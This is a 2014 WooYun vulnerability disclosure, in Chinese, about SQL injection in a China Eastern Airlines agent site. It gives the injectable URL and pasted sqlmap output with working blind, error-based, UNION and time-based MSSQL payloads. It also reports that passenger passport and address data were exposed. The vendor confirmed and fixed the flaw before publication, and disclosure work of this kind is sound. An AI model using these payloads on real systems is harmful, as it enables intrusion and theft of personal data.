当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-071011

漏洞标题:东方航空公司SQL注入漏洞大量乘客信息泄露

相关厂商:中国东方航空股份有限公司

漏洞作者: 进击的zjx

提交时间:2014-08-04 19:22

修复时间:2014-09-18 19:24

公开时间:2014-09-18 19:24

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-04: 细节已通知厂商并且等待厂商处理中
2014-08-06: 厂商已经确认,细节仅向厂商公开
2014-08-16: 细节向核心白帽子及相关领域专家公开
2014-08-26: 细节向普通白帽子公开
2014-09-05: 细节向实习白帽子公开
2014-09-18: 细节向公众公开

简要描述:

这是个捡漏。。

详细说明:

附上原帖链接: WooYun: 东方航空机票代理分销列目录+SQL注入
针对目录非授权访问已经修复,但是庞大的数据库信息却置若罔闻!
附上注入点http://muagent-hk.ceair.com/test/a/user_detail.aspx?usrId=0003

1.jpg


放进sqlmap里面跑一下,盲注。

C:\Python27\sqlmap>sqlmap.py -u http://muagent-hk.ceair.com/test/a/user_detail.a
spx?usrId=0003 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 18:25:01
[18:25:01] [INFO] resuming back-end DBMS 'microsoft sql server'
[18:25:01] [INFO] testing connection to the target URL
[18:25:01] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: usrId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: usrId=0003' AND 9385=9385 AND 'FCRd'='FCRd
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: usrId=0003' AND 1960=CONVERT(INT,(SELECT CHAR(113)+CHAR(116)+CHAR(1
22)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (1960=1960) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(113)+CHAR(97)+CHAR(98)+CHAR(120)+CHAR(113))) AND 'ermI'='ermI
Type: UNION query
Title: Generic UNION query (NULL) - 19 columns
Payload: usrId=0003' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL
L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(116)+CHAR(122)+CHA
R(113)+CHAR(113)+CHAR(104)+CHAR(122)+CHAR(117)+CHAR(70)+CHAR(111)+CHAR(106)+CHAR
(70)+CHAR(86)+CHAR(116)+CHAR(77)+CHAR(113)+CHAR(97)+CHAR(98)+CHAR(120)+CHAR(113)
,NULL--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: usrId=-9104' OR 9204=(SELECT COUNT(*) FROM sysusers AS sys1,sysuser
s AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sy
susers AS sys7) AND 'OwKj'='OwKj
---
[18:25:01] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[18:25:01] [INFO] fetching database names
available databases [1]:
[*] master


用sqlmap.py跑,只能跑出一个数据库,并且其中也只有几个无用的表。
既然依然存在注入点,那么不可能就这点东西啊。
看似厂商进行了一些有效修复,其实不然。
不死心,用另一款工具跑了下。果然跑出来接近700个表!

漏洞证明:

用safe3si跑的图,697个表!

2.jpg


乘客信息惨不忍睹的暴露无遗。包括姓名,出生日期,护照ID,地址等等!
忘引起重视尽快修复!

修复方案:

代码过滤,预编译,数据和代码分离等等……

版权声明:转载请注明来源 进击的zjx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-08-06 08:54

厂商回复:

已处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-08-05 13:45 | 进击的zjx ( 普通白帽子 | Rank:295 漏洞数:61 | 工作需要,暂别一段时间)

    第一次上首页

  2. 2014-09-19 01:36 | Annabelle ( 实习白帽子 | Rank:46 漏洞数:15 | .)

    喜闻乐见,叫你延误航班!回去告诉我们家小旋子让他来围观,哈哈哈哈哈~

  3. 2014-09-20 00:38 | wangy3e ( 路人 | Rank:0 漏洞数:1 | web security,mobile app security)

    你不抱出数据 人家不care